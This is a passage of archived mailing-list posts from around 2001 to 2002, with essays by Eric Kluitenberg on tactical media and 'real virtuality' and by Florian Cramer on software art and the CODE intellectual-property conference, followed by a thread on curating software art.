initial belief of the organisers in the\nrepresentational system of the web site they visited, its WTO iconography,\nits tone of voice and familiar narratives for trade liberalisation, even\nif, as in the gatt.org site, the message carried by these narratives was\nentirely reversed. Beyond this mistaken identity and its hilarious\nresults, the action reveals the seamless transition between the real and\nthe imaginary within the networked media spectacles.\n\n\nTo act;  the geste...\n\nThe sphere of international economics and politics has become inseparably\nlinked with the new constellations of broadcast and networked media. The\nprincipal challenge of the network society is the complete fusion of\nmedia, digital technology, economics and politics. The logic of the\ndigital network now informs all dominant aspects of society. This fact on\nthe one hand marks the end of the virtual, a sphere that has become\ncompletely intertwined with the *real* world. At the same time, however,\nevery significant social interaction can only become meaningful by virtue\nof how it is mapped in the digital domain.\n\nBeyond representation, the space of digital networks has become the\nbackbone of economic interaction, enabling the immediacy of financial and\neconomic flows across the geographical and territorial divides. The\nconnections between the networked structures and the physical domains they\nhook up with each other, have become so diversified and interdependent\nthat it is no longer useful to distinguish the physical geography as\n'real', from the networked constellations as 'virtual'. In fact the very\nopposition of the real and the virtual has become misleading. Geography\nand technological, social and economic networks together create one system\nthat becomes increasingly integrated and sophisticated. But this system is\nhighly problematic because it excludes more than it allows.\n\n\nThe new sphere of networked media and communications is intrinsically\nvulnerable to the type of interventions described above. This double sided\nnature of the net is puzzling in many respects. On the one hand digital\nnetworks appear as the ultimate control apparatus, but simultaneously they\nremain a refuge for alternative views, a space without final closure,\nalways only partially under control, and in permanent transformation. The\nauthority of the system is challenged when the seamless surface of the\nmedia-interface and its illusion of transparency are broken and\nreconstructed in a multitude of alternative agenda's, indeed an infinity\nof alternative micro- and macro-political agenda's.\n\nSaskia Sassen once pointed out, and quite rightfully so, that the Internet\nis constituted by the practices employed in it. But the nature of\ninterventions in this space of networks transcends the limits of\nconventional representational systems. There is a specific form of\nperformativity here, where the symbolic interventions on the level of\nsocial discourse become paradoxically real. Rather than 'representing'\nreality, the intervention is an act, a geste, that 'creates' an\nalternative reality in the immediacy of its digital mediation.\n\n\nReal-Virtuality\n\nThe conditions that create this specific form of performativity are what\nsociologist Manuel Castells has described as the \"Culture of Real\nVirtuality\", in his famous book \"The Rise of the Network Society\"6.\nCastells asks the question what is \"(..) a communication system that, in\ncontrast to earlier historical experience, generates real virtuality?\"\n\n\"It is a system in which reality itself (that is people's\nmaterial/symbolic existence) is entirely captured, fully immersed in a\nvirtual image setting, in the world of make believe, in which appearances\nare not just on the screen through which experience is communicated, but\nthey become the experience. All messages of all kinds become enclosed in\nthe medium, because the medium has become so comprehensive, so\ndiversified, so malleable, that it absorbs in the same multimedia text the\nwhole of human experience, past, present, and future, as in the unique\npoint of the Universe that Jorge Luis Borges called Aleph.\" [7]\n\nCastells goes on to show that the culture of real virtuality is not a\ncondition that is entirely specific to the system of networked media and\ncommunications . The specific superimposition of the real and the\nimaginary onto each other and within one and the same multimedia text, is\nsomething that already began to form within the television age, but it is\nheightened and intensified with the emergence of new and ever more\ndiversified networked and wireless communication media.\n\nCastells himself takes his prime example from American television; a\nstrange blending of fiction and reality that happened during the election\ncampaign for the US presidency in 1992. At the time George Bush snr. and\nvice-president Dan Quayle were competing with the Clinton/Gore team.\n\nIn a televised election speech Dan Quayle started to attack the fictional\npersona Murphy Brown, the main character of a popular TV series by the\nsame name. The main character was played by the actress Candice Bergen.\nMurphy Brown was a typical independent woman, living in one of the major\ncities of the US, unmarried and well in control of her life. She (MB)\ndecides at some point that she wants to have a child, but without a\nfather, and she decides to arrange the necessary steps to have that child.\nAnd it is exactly at this point that Quayle intervenes and attacks her for\na lack of, in his view, moral standards, and for exhibiting a behaviour\nthat is not conducive to proper family values.\n\nWhat is really strange about his intervention is that it was not aimed at\nthe script writers and director of the series, nor at the actress Candice\nBergen. Instead he chose to point his criticism directly at the fictional\ncharacter Murphy Brown, acknowledging the importance of this character as\na role model for real-life social arrangements. The creators of the series\nresponded intelligently by letting the fictional character Murphy Brown,\nin the fictional setting of the TV series, watch and comment the\n'real-life' speech of vice president Dan Quayle.\n\nOut of this curious dialogue between a real and imaginary person, a heady\npolitical discussion evolved about \"a woman's right to choose\" that had a\nsignificant impact on the course of the election campaign. Ultimately the\nQuayle / Bush snr. team lost, for a host of reasons, but the important\npoint is of course the blending of the real and the imaginary in a crucial\nsocial and political process. The criticism of the real vice president\nQuayle became part of the fictional narrative of the series and the\nnarrative of the series became part of the real presidential campaign.\nThis was only possible because both operated in the same 'multimedia\ntext'.\n\nCastells explains that this condition is truly inescapable, because these\nmessages can only achieve communicability by being mapped in this new\nsphere of interconnected media and communication networks. But once part\nof this system of electronic and digital mediation they become vulnerable\nto the inherent inconsistencies of this system.\n\nCastells writes:\n\n\"What characterizes the new system of communication, based in the\ndigitized, networked integration of multiple communication modes, is its\ninclusiveness and comprehensiveness of all cultural expressions. Because\nof its existence, all kinds of messages in the new type of society work in\na binary mode: presence/absence in the multimedia communication system.\nOnly presence in this integrated system permits communicability and\nsocialization of the message. All other messages are reduced to individual\nimagination or to increasingly marginalized face-to-face subcultures.\" [8]\n\n\nTo act in the culture of real-virtuality means to act both symbolically\nand real at the same time, because both levels of social reality coincide\nwithin the same 'multimedia text'. In this paradoxical environment\ndominant discourses of social, political and economic power can be\nchallenged at the level of the representational systems they employ. The\nclassical avant-gardes provide a repository of ideas, tactics and\nstrategies that are now played out in a radically enlarged context; no\nlonger the context of art itself, but that of the network society.\n\nThe negation of a dominant mode of speech, implies the infinity of\npossible modes of speaking.\n\nEric Kluitenberg\nAmsterdam, December 21, 2001\n\n\nNotes:\n\n1 -  Jean Fran\u00e7ois Lyotard, Presenting the Unpresentable: The Sublime, in:\nArt Forum, New York, March 1982, pp. 64-69.\n2  - ibid.\n3 -  http://www.jodi.org\n4 - http://www.wrongbrowser.com\n5 - http://theyesmen.org/finland/\n6 - Manuel Castells, The Culture of Real Virtuality, in: The Rise of the\nNetwork Society, Blackwell, Malden/Oxford, 1996, pp. 355-406\n7 - Castells, '96, p. 373\n8 - Castells, '96, p. 374\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 23 Jan 2002 00:31:27 +0100",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200201230914.EAA08430 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0201/msg00104.html",
                "list": "nettime_l",
                "author_name": "Eric Kluitenberg",
                "subject": "<nettime> Transfiguration of the Avant-Garde / The Negative Dialectics of the N"
            }
        ],
        "desc": "..."
    },
    "CODE": {
        "lists": [
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin@zedat.fu-berlin.de>",
                "id": "00628",
                "content": "Note: This text is almost identical with the essay \"Software Art and Writing\"\nwhich, just as McKenzie Wark's essay \"Codework\", is part of the recent\nissue of the American Book Review, vol.22, no.6. It was written by\nUlrike Gabriel and me as a retrospective reflection of our work in the\njury for the transmediale.01 software art award. \n\nIt is available online in HTML, PDF, LaTeX & plain text formats at \n<http://userpage.fu-berlin.de/~cantsin/homepage/index.html#software_art_-_transmediale>\n\n\n-FC\n\n....\n\n\nSoftware Art\n\nFlorian Cramer and Ulrike Gabriel\n\nAugust 15, 2001\n\n\nWhat is software art? How can ``software'' be generally defined? We had to\nanswer these questions at least provisionally when we were asked to be with the\nartist-programmer John Simon jr. in the jury of the ``artistic software'' award\nfor the transmediale.01 art festival in Berlin, Germany.\n\nSince more than a decade, festivals, awards, exhibitions and publications exist\nfor various forms of computer art: computer music, computer graphics,\nelectronic literature, Net Art and computer-controlled interactive\ninstallations, to name only a few, each of them with its own institutions and\ndiscourse. Classifications like the above show that attention is usually being\npaid to how, i.e. in which medium, digital artworks present themselves to the\naudience, externally. They also show that digital art is traditionally\nconsidered to be a part of ``[new] media art,'' a term which covers analog and\ndigital media alike and is historically rooted in video art. But isn't it a\nfalse assumption that digital art - i.e. art that consists of zeros and ones -\nwas derived from video art, only because computer data is conventionally\nvisualized on screens?\n\nBy calling digital art ``[new] media art,'' public perception has focused the\nzeros and ones as formatted into particular visual, acoustic and tactile media,\nrather than structures of programming. This view is reinforced by the fact that\nthe algorithms employed to generate and manipulate computer music, computer\ngraphics, digital text are frequently if not in most cases invisible, unknown\nto the audience and the artist alike. While the history of computer art still\nis short, it is rich with works whose programming resides in black boxes or is\nconsidered to be just a preparatory behind-the-scenes process for a finished\n(and finite) work on CD, in a book, in the Internet or in a ``realtime\ninteractive'' environment. The distribution of John Cage's algorithmically\ngenerated sound play ``Roarotorio,'' for example, includes a book, a CD and\nexcerpts of the score, but not even a fragment of the computer program which\nwas employed to compute the score.\n\nWhile software, i.e. algorithmic programming code, is inevitably at work in all\nart that is digitally produced and reproduced, it has a long history of being\noverlooked as artistic material and as a factor in the concept and aesthetics\nof a work. This history runs parallel to the evolution of computing from\nsystems that could only be used by programmers to systems like the Macintosh\nand Windows which, by their graphical user interface, camouflaged the mere fact\nthat they are running on program code, in their operation as well as in their\naesthetics. Despite this history, we were surprised that the 2001 transmediale\naward for software art was not only the first of its kind at this particular\nart festival, but as it seems the first of its kind at all.\n\nWhen the London-based digital arts project I/O/D released an experimental World\nWide Web browser, the Web Stalker http://www.backspace.org/iod/, in 1997, the\nwork was perceived to be a piece of Net Art. Instead of rendering Web sites as\nsmoothly formatted pages, the Web Stalker displayed their internal control\ncodes and visualized their link structure. By making the Web unreadable in\nconventional terms, the program made it readable in its underlying code. It\nmade its users aware that digital signs are structural hybrids of internal code\nand an external display that arbitrarily depends on algorithmic formatting.\nWhat's more, these displays are generated by other code: The code of the Web\nStalker may dismantle the code of the Web, but does so by formatting it into\njust another display, a display which just pretends to ``be'' the code itself.\nThe Web Stalker can be read as a piece of Net Art which critically examines its\nmedium. But it's also a reflection of how reality is shaped by software, by the\nway code processes code. If complex systems and their generative processors\nthemselves become language, formulation becomes the creation of a frame within\nwhich the system will behave, and of the control of this behaviour. The joint\noperation of these processes creates its own aesthetics which manifests itself\nno longer by application-restricted assignments, but in the free composition of\nthis system as a whole. (Which simply is what developing software is all\nabout.)\n\nSince software is machine control code, it follows that digital media are,\nliterally, written. Electronic literature therefore is not simply text, or\nhybrids of text and other media, circulating in computer networks. If\n``literature'' can be defined as something that is made up by letters, the\nprogram code, software protocols and file formats of computer networks\nconstitute a literature whose underlying alphabet is zeros and ones. By running\ncode on itself, this code gets constantly transformed into higher-level,\nhuman-readable alphabets of alphanumeric letters, graphic pixels and other\nsignifiers. These signifiers flow forth and back from one aggregation and\nformat to another. Computer programs are written in a highly elaborate syntax\nof multiple, mutually interdependent layers of code. This writing does not only\nrely on computer systems as transport media, but actively manipulates them when\nit is machine instructions. The difference is obvious when comparing a\nconventional E-Mail message with an E-Mail virus: Although both are short\npieces of text whose alphabets are the same, the virus contains machine control\nsyntax, code that interferes with the (coded) system it gets sent to.\n\nSoftware art means a shift of the artist's view from displays to the creation\nof systems and processes themselves; this is not covered by the concept of\n``media.'' ``Multimedia'', as an umbrella term for formatting and displaying\ndata, doesn't imply by definition that the data is digital and that the\nformatting is algorithmic. Nevertheless, the ``Web Stalker'' shows that\nmultimedia and terms like Net Art on the one hand and software art on the other\nare by no means exclusive categories. They could be seen as different\nperspectives, the one focussing distribution and display, the other one the\nsystemics.\n\nBut is generative code exclusive to computer programming? The question has been\nanswered by mathematics proper and the many historical employments of\nalgorithmic structures in the arts. A comparatively recent classical example is\nthe Composition 1961 No. I, January I by the contemporary composer and former\nFluxus artist La Monte Young, which is at once considered to be one of the\nfirst pieces of minimal music and one of the first Fluxus performance scores:\n\n    ``Draw a straight line and follow it.''1\n\nThis piece can be called a seminal piece of software art because its\ninstruction is formal. At the same time, it is extremist in its aesthetic\nconsequence, in the implication of infinite space and time to be traversed.\nUnlike in most notational music and written theatre plays, its score is not\naesthetically detached from its performance. The line to be drawn could be even\nconsidered a second-layer instruction for the act of following it. But as it is\npractically impossible to perform the score physically, it becomes\nmeta-physical, conceptual, epistemological. As such the piece could serve as a\nparadigm for Henry Flynt's 1961 definition of Concept Art as ``art of which the\nmaterial is `concepts,' as the material of for ex. music is sound.''2 Tracing\nconcept art to artistic formalisms like twelve-tone music, Flynt argues that\nthe structure or concept of those artworks is, taken for itself, aesthetically\nmore interesting than the product of their physical execution. In analogy, we\nwould like to define software art as art of which the material is software.\n\nFlynt's Concept Art integrates mathematics as well, on the acognitive grounds\nof ``de-emphasiz[ing]'' its attribution to scientific discovery.3 With this\nclaim, Flynt coincides, if oddly, with the most influential contemporary\ncomputer scientist, Donald E. Knuth. Knuth considers the applied mathematics of\nprogramming an art; his famous compendium of algorithms is duely titled ``The\nArt of Computer Programming.''4\n\nShould the transmediale software art jury therefore have consisted of\nmathematicians and computer scientists who would have judged the entries by the\nbeauty of their code?\n\nWhat is known as Concept Art today is less rigorous in its immaterialism than\nthe art Flynt had in mind. It is noteworthy, however, that the first major\nexhibition of this kind of conceptual art was named ``Software'' and confronted\nart objects actually with computer software installations.5. Curated in 1970 by\nthe art critic and systems theorist Jack Burnham at the New York Jewish Museum,\nthe show was, as Edward A. Shanken suggests, ``predicated on the idea of\nsoftware as a metaphor for art [my emphasis],''6. It therefore stressed the\ncybernetical, social dimension of programmed systems rather than, as Flynt,\npure structure.\n\nThirty years later, after personal computing became ubiquituous, cultural\nstereotypes of what software is have solidified. Although the expectation that\nsoftware is, unlike other writing, not an aesthetic, but a ``functional tool''\nitself is an aesthetic expectation, software art nevertheless has become less\nlikely to emerge as conceptualist clean-room constructs than reacting to these\nstereotypes. The ``Web Stalker'' again might be referred to as such a piece. In\na similar fashion, the two works picked for the transmediale award, Adrian\nWard's ``Signwave Auto-Illustrator'' and Netochka Nezvanova's ``Nebula M.81,''\nare PC user software which acts up against its conventional codification,\neither by mapping internal functions against their corresponding signifiers on\nthe user interface (Auto-Illustrator) or by mapping the signifiers of program\noutput against human readability (Nebula M.81).\n\nThe range of works entered for the transmediale.01 software art award shows\nthat coding is a highly personal activity. Code can be diaries, poetic,\nobscure, ironic or disruptive, defunct or impossible, it can simulate and\ndisguise, it has rhetoric and style, it can be an attitude. Such attributes\nmight seem to contradict the fact that artistic control over generative\niterations of machine code is limited, whether or not the code was\nself-written. But unlike the Cagean artists of the 1960s, the software artists\nwe reviewed seem to conceive of generative systems not as negation of\nintentionality, but as balancing of randomness and control. Program code thus\nbecomes a material with which artist work self-consciously. Far from being\nsimply art for machines, software art is highly concerned with artistic\nsubjectivity and its reflection and extension into generative systems.7\n\n\nReferences\n\n[Fly61]\n    Henry Flynt. Concept art. In La Monte Young and Jackson MacLow, editors, An\n    Anthology. Young and MacLow, New York, 1963 (1961).\n[hun90]\n    George Maciunas und Fluxus-Editionen, 1990.\n[Knu98]\n    Donald E. Knuth. The Art of Computer Programming. Addison-Wesley, Reading,\n    Massachusetts, 1973-1998.\n[Sha]\n    Edward A. Shanken. The house that jack built: Jack burnham's concept of\n    `software` as a metaphor of art. Leonardo Electronic Almanach, 6(10). \n    http://www.duke.edu/~giftwrap/House.html\n\n\nFootnotes:\n\n1 facsimile reprint included in [hun90], no page numbering\n\n2 Henry Flynt, Concept Art [Fly61] ``Since `concepts' are closely bound up with\nlanguage,'' Flynt writes, ``concept art is a kind of art of which the material\nis language.''\n\n3 ibid.\n\n4 [Knu98]\n\n5 Among them Ted Nelson's hypertext system in its first public display,\naccording to Edward A. Shanken, The House that Jack Built: Jack Burnham's\nConcept of ``Software'' as a Metaphor for Art, [Sha]\n\n6 ibid.\n\n7 Or, as Adrian Ward puts it: ``I would rather suggest we should be thinking\nabout embedding our own creative subjectivity into automated systems, rather\nthan naively trying to get a robot to have its `own' creative agenda. A lot of\nus do this day in, day out. We call it programming.'' (quoted from an E-Mail\nmessage to the ``Rhizome'' mailing list, May 7, 2001)\n\n\n-- \nhttp://userpage.fu-berlin.de/~cantsin/homepage/\nhttp://www.complit.fu-berlin.de/institut/lehrpersonal/cramer.html\nGnuPG/PGP public key ID 3200C7BA \n\"c u in he][l][avan\" (mez, _Viro.Logic Condition][ing][ 1.1_)\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Thu, 20 Sep 2001 20:05:24 +0200",
                "to": "Nettime <nettime-l@bbs.thing.net>",
                "message-id": "20010920200524.K276@theuth.complit.fu&#45;berlin.",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0109/msg00628.html",
                "list": "nettime_bold",
                "author_name": "Florian Cramer",
                "subject": "[Nettime-bold] On Software Ar"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <paragram@gmx.net>",
                "id": "00302",
                "content": "(The following review was commissed by MUTE and will appear in the\nforthcoming MUTE issue, see <http://www.metamute.com>. Josephine Berry\nhas my cordial thanks for editing the text into proper English. The MUTE\npeople were so kind to let me speak about literature and systems theory\non a panel with Robert Coover and Jeff Noon at Tate Modern. See\n<http://www.metamute.com/events/mutetate08042001.htm> for the details.\n-FC)\n\n\n\nCODE: Chances and Obstacles in the Digital Ecology\n\n\nThe recent Cambridge conference CODE amounted to more than a\nstraightforward expansion of its acronym into - in computereze - its\nexecutable \"Collaboration and Ownership in the Digital Economy\". It\nactually got some of its participants collaborating. The most interesting\nidea regarding collaboration came as an off-the-cuff remark from\nJames Boyle, professor of law at Duke University, who compared the\nrecent interest in open digital code to environmentalism. The first\nenvironmental activists were scattered and without mutual ties, Boyle\nsaid, because the notion of 'the environment' did not yet exist. It had\nto be invented before it could be defended.\n\nAfter two packed days of presentations, it could well be that the\nvirus will spread and make artists, activists and scholars in digital\nculture associate 'IP' with 'Intellectual Property' rather than 'Internet\nProtocol', whether they like it or not. Unlike many Free Software/Open\nSource events with their occasional glimpses at the cultural implications\nof open code, the CODE programme covered the free availability and\nproprietary closure of information in the most general terms setting it\ninto a broad disciplinary framework which included law, literature, music,\nanthropology, astronomy and genetics. Free Software has historically\ntaught people that even digitised images and sounds run on code. But\nthat this code is speech which can be locked into proprietary schemes\nsuch as patents and shrinkwrap licenses, thereby decreasing freedom of\nexpression, is perhaps only beginning to dawn on people. John Naughton,\nmoderator of the panel on \"The Future of Knowledge\", illustrated this\nsituation by describing how, in the US at least, it is illegal to wear\nT-Shirts or recite haikus containing the few sourcecode words of DeCSS,\na program which breaks the cryptography scheme of DVD movies.\n\nThere is little awareness that any piece of digital data, whether an\naudio CD, a video game or a computer operating systems is simply a number\nand that every new copyrighted digital work reduces the amount of freely\navailable numbers. While digital data, just like any text, can be parsed\narbitrarily according to a language or data format (the four letters\ng-i-f-t, for example, parse as a synonym for 'present' in English, but as\n'poison' in German), the copyrighting of digital data implies that there\nis only one authoritative interpretation of signs. The zeros and ones of\nMicrosoft Word are legally considered a Windows program and thus subject\nto Microsoft's licensing, although they could just as well be seen as\na piece of concrete poetry when displayed as alphanumeric code or as\nmusic when burned onto an audio CD. The opposite is also true: no-one\ncan rule out that the text of, say, Shakespeare's Hamlet cannot be parsed\nand compiled into a piece of software that infringes somebody's patents.\n\nThe legal experts speaking at CODE also explained the enormous expansion\nin intellectual property rights in the last few years. While patents are\nwidely known to conflict with the freedom of research and even with the\nfreedom to write in programming languages, the conference nevertheless\nextended its focus beyond this and made its participants aware of IP\nrights as the negative subtext to what was once considered the promiscuous\ntextuality of the Internet. Still, it was surprising to see speakers with\nvery diverse academic and professional backgrounds position themselves so\nunanimously against the current state of IP rights. In another informal\nremark, Volker Grassmuck proposed that we refocus 'information ecology'\nfrom software ergonomics to the politics of knowledge distribution. Does\ndigital code need its own Greenpeace and World Wildlife Fund?\n\nThe conference took its inspiration from Free Software, but didn't bother\ngoing into basics and priming the participants on what Free Software\nand Open Source technically are - which was both an advantage and a\ndisadvantage. General topics were advanced right from the first session\nwithout first clarifying such important issues as the meaning of the\n'free' in Free Software. GNU project founder Richard M. Stallman -\nwho usually explains this as 'free, as in speech' not ' free, as in\nbeer' - revealed his own questionable conceptions by proposing three\ndifferent copyleft schemes for what he categorised as 'functional works',\n'opinion pieces' and 'aesthetic works': as if these categories could be\nseparated, as if they weren't aspects of every artwork, and as if computer\nprograms didn't have their own politics and aesthetics (GNU Emacs could\nbe analysed in just the same way Matthew Fuller analysed the aesthetic\nideology of Microsoft Word.)  It was annoying to hear Stallman reduce the\ndistribution of digital art to 'bands' distributing their 'songs', and\nit was equally annoying to hear Glyn Moody call Stallman the Beethoven,\nLinus Torvalds the Mozart and Larry Wall - a self-acclaimed postmodernist\nand experimental writer in his own right - the Schubert of programming.\n\nTo make matters worse, the artists who spoke on the second day of CODE\nechoed these aesthetic conservatisms in perfect symmetry. Michael\nCentury, co-organiser of the conference and Stallman's respondent,\nunfortunately didn't have enough time to speak about the notational\ncomplexity of modern art in any detail. He was the only speaker to\naddress this issue. Otherwise, artists were happy to be 'artists', and\nprogrammers were happy to be 'programmers'. Stallman's separation of the\n'functional' and the 'aesthetic' was also implied in Antoine Moireau's\nFree Art License <http://www.artlibre.org>, a copyleft for artworks which\nfailed to illuminate why artists shouldn't simply use the GNU copyleft\nproper. This question is begged all the more since the license is based\non the assumption that the artwork in contrast to the codework is, quote,\n'fixed'.  While Moireau's project was at least an honest reflection of\nFree Software/Open Source, one couldn't help the impression that other\ndigital artists appropriated the term as a nebulous, buzzword-compatible\nanalogy.  While there are certainly good reasons for not releasing art as\nFree Software, it still might be necessary to speak of digital art and\nFree Software in a more practical way. Much if not most of digital art\nis locked into proprietary formats like Macromedia Director, QuickTime\nand RealVideo.  It is doomed to obscurity as soon as their respective\nmanufacturers discontinue the software.\n\nOn the other hand, the Free Software available obviously doesn't cut it\nfor many people, artists in particular. The absence of, for example,\ndesktop publishing software available for GNU/Linux is no coincidence\nsince the probability of finding programmers among graphic artists\nis much lower than the probability of finding programmers among system\noperators. This raises many issues for digital code in the commons, issues\nthe conference speakers seemed, however, to avoid on purpose. While most\nof them pretended that it was no longer necessary to use proprietary\nsoftware, their computers still ran Windows or the Macintosh OS. It\nwould have been good to see such contradictions if not resolved then at\nleast reflected.\n\nCode, Queens College, Cambridge, UK, April 5-6, 2001\n\nFlorian Cramer <cantsin@zedat.fu-berlin.de>\nhttp://userpage.fu-berlin.de/~cantsin/\n\n-- \nhttp://userpage.fu-berlin.de/~cantsin/\nhttp://www.complit.fu-berlin.de/institut/lehrpersonal/cramer.html\nGnuPG/PGP public key ID 3D0DACA2 \n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n",
                "date": "Fri, 13 Apr 2001 15:19:56 +0200",
                "to": "Nettime <nettime-l@bbs.thing.net>",
                "message-id": "20010413151956.A9959@gmx.net",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0104/msg00302.html",
                "list": "nettime_bold",
                "author_name": "Florian Cramer",
                "subject": "[Nettime-bold] Review of the CODE conference (Cambridge/UK, April 5-6, 2001)"
            },
            {
                "content-type": "text/plain",
                "from": "Andreas Broeckmann",
                "content": "\n> July/August 'Theme of the Month':\n>\n> Software as art\n>\n> If your artwork is 'software that does something' (such as Mongrel's\n> 'Linker' software) then what issues are involved? Do curators get it?\n> Is it 'enabling others', or artwork in itself?  How do you 'show' or\n> distribute it? What about 'user support'?\n\nas a start, you can take a look at\n\nhttp://www.transmediale.de/01/en/software.htm\n\nwhich has the jury statement and nominated projects of the competition for\nsoftware art at this year's transmediale festival.\n\nthe competition for transmediale.02 in february 2002 is underway.\n\ngreetings,\n-a\n\n\n------------------------------------------------\nAndreas Broeckmann -  [log in to unmask]\ntransmediale - Klosterstr.68-70 - 10179 Berlin\ntel. 030-247219-07 (fax -09) www.transmediale.de",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=230091",
                "follow-up": [
                    {
                        "from": "Andreas Broeckmann",
                        "content": "\n>Ittai Bar-Joseph\n...\n>Aren't the definitions and \"regulations\" involving the use of a software\n>artwork part of the concept?\n>If so, is it possible / neccesary / advisable to form a set of rules that\n>define the way software art be dealt with?\n\nas with any artistic practice, fixed rules would not help, but an exchange\nof experiences and a comparison of conditions might help to create a good\nand informed curatorial practice.\n\nsoftware art is only just coming into focus, so it is early days to\ndescribe, let alone critique its presentation. we have developed a\ndescription of software art for the transmediale competition that excludes\napplications of software like director or shockwave; what is interesting in\nsoftware are, in my view, is that it is an artistic practice that takes\ncode as its material and that uses programming as a way to 'shape' the\ncode. the result can be open, algorithmic processes that articulate the\nrigid and the open dimensions of digital processes, they can highlight the\ntechnical or the socio-cultural dimensions of technology and do this in the\nvery 'language' of the digital machines themselves. software might be the\nultimate medium of creativity in a digital environment.\n\nbesides the transmediale.01 site, some examples of software art can be found on\ndigital_is_not_analog.01 - http://www.d-i-n-a.org\n\nReena Jana: Real Artists Paint by Numbers\nhttp://www.wired.com/news/print/0,1294,44377,00.html\n\n\ngreetings,\n-a",
                        "id": 0,
                        "date": "Tue, 3 Jul 2001 10:49:17 +0200",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=232018",
                        "content-type": "text/plain",
                        "author_name": "Andreas Broeckmann",
                        "subject": "Re: Software as Art"
                    },
                    {
                        "from": "Ittai Bar-Joseph",
                        "content": "\nAndreas Broeckmann wrote:\n\n> we have developed a description of software art for the transmediale competition\n> that excludes\n> applications of software like director or shockwave;\n\nOn what basis was this decision made?\nToday Director is a tool which enables the creation of professional software.\nI think many people (developers included) still refer to Director as an\ninteractive animation / games\napplication, and are quite ignorant when it comes to the more interesting and new\nfeatures that are\nscarcely in use yet. With today's \"imaging lingo\" (new features added in Director\n8), it's possible to\ncreate a Photoshop-like application from scratch.\nCheers,\nIttai.",
                        "id": 0,
                        "date": "Tue, 3 Jul 2001 14:46:17 +0200",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=233374",
                        "content-type": "text/plain",
                        "author_name": "Ittai Bar-Joseph",
                        "subject": "Re: Software as Art"
                    },
                    {
                        "from": "anthony huberman",
                        "content": "\nAndreas referenced the Reena Jana text in Wired.com.  I organized the\nrecent panel and performance event called \"Artists and their Software\" that\nReena's text references, and so this month's topic strikes me as\nparticularly relevant.\n\nThe event went very well.  A comment from the audience, however, stuck out\nas something that seems to be a central shortcoming.  Many choose to look\nat the coding and the programming and the \"how to\" aspects of\nart-as-software, often overlooking the immensely fertile territory that can\nbe addressed through a broader look at the phenomenon: why is it important?\nWhat implications do this trend have on our general understanding of what\nart-making is all about? How do the values/strategies/principles that\nart-as-software maintain affect the way in which artists and audiences\nunderstand art?  Many more broad questions come to mind: why are artists\nattracted to software?  How does their awareness of software, and its\navailability, influence their art-making strategies? How do institutions\nneed to respond to this growing interest? Is incorporating software nothing\nmore than a technology fetish?  More specific concerns can arise: what\nhappens to \"improvisation\"?  How is the notion of chance incorporated in\nthis type of art?  What happens to the \"aura\"? What are the boundaries of\nsoftware as an art-making medium? How can artists involve their audiences\nwith software?  Can one talk about software-generated art as ever being\n\"finished\"? Do software artists have to be programmers? What is the social\nlife of software?\n\nThe algorithm seems to replace the creative will of the artist, in many\ncases.  This is exciting to me not because it is technologically marvelous,\nbut because of what this implies in how the artist and the audience\nunderstand each other.\n\nSoftware is a set of rules.  It is the grammar within which a vocabulary of\ncomputer code makes sense.  As British sociologist Anthony Giddens has\npointed out, we understand our reality as already existing and seek to\nwrite scenarios that allow us to act out a role within that reality.  The\nsoftware seems to be the scenario, but it relies on users to act it out.\n\n\nWhat makes software come alive is precisely its social life: how these set\nof instructions are interpreted and enacted.  And understanding this\nprocess of interpretation, of behavior, can fill up pages and pages.\n\nI look forward to more postings this month... thank you!\n\n\nAnthony Huberman\nDirector of Education and Public Programs\nP.S.1 Contemporary Art Center\n22-25 Jackson Ave\nLong Island City, NY 11101\n718.784.2084 ext.24\n[log in to unmask]\nwww.ps1.org",
                        "id": 0,
                        "date": "Tue, 3 Jul 2001 11:30:36 -0500",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=234740",
                        "content-type": "text/plain",
                        "author_name": "anthony huberman",
                        "subject": "Re: Software as Art"
                    },
                    {
                        "from": "Patrick Lichty",
                        "content": "\nA few glancing ideas...\n\nMany choose to look\n>at the coding and the programming and the \"how to\" aspects of\n>art-as-software, often overlooking the immensely fertile territory that can\n>be addressed through a broader look at the phenomenon: why is it important?\n\nThere are two views I can think of regarding the use of software as art - one\napplies to off-the-shelf, the other to hand-coded...  To me, programs like\nPhotoshop offer few real opportuntiies to redefine its own kind of\ninteractivity, so I relegate it to the category of 'tool', rather than\n'expression'.\n\nI think for one that there are functions and aspects of the technonlgies that\nare not being addressed by off-the shelf software.  This is the programming\nargument.  There are larger threads here such as engagement with the technical\npart of the electronic culture, which has its own fascinating set of protocols.\n\n\n>What implications do this trend have on our general understanding of what\n>art-making is all about?\n\nWell, it's merely an extension of craft placed within the immaterial milieu if\ncomputers, yes?  It's very funny that a great deal of excitement is based\naround artists makign their own code.  It is a direct attempt to break with the\ncommonly held public perception that computers are easy and cheap, and thus so\nis the art created with them.  Many times I have gotten the \"How long does it\ntake you to create that?\" question.\n\nThis is a very Marxist question.  Much of commodification of art has to do with\nuse value ascribed to the degree of labor expended.\n\nIt's an attempt to translate craft to the digital.\n\nMany more broad questions come to mind: why are artists\n>attracted to software?\n\nI'm not sure what you're getting at here.  To use a computer, you have to have\nit.  It's the yin to the yang of chips.  As to why artists are drawn to code, I\nthink 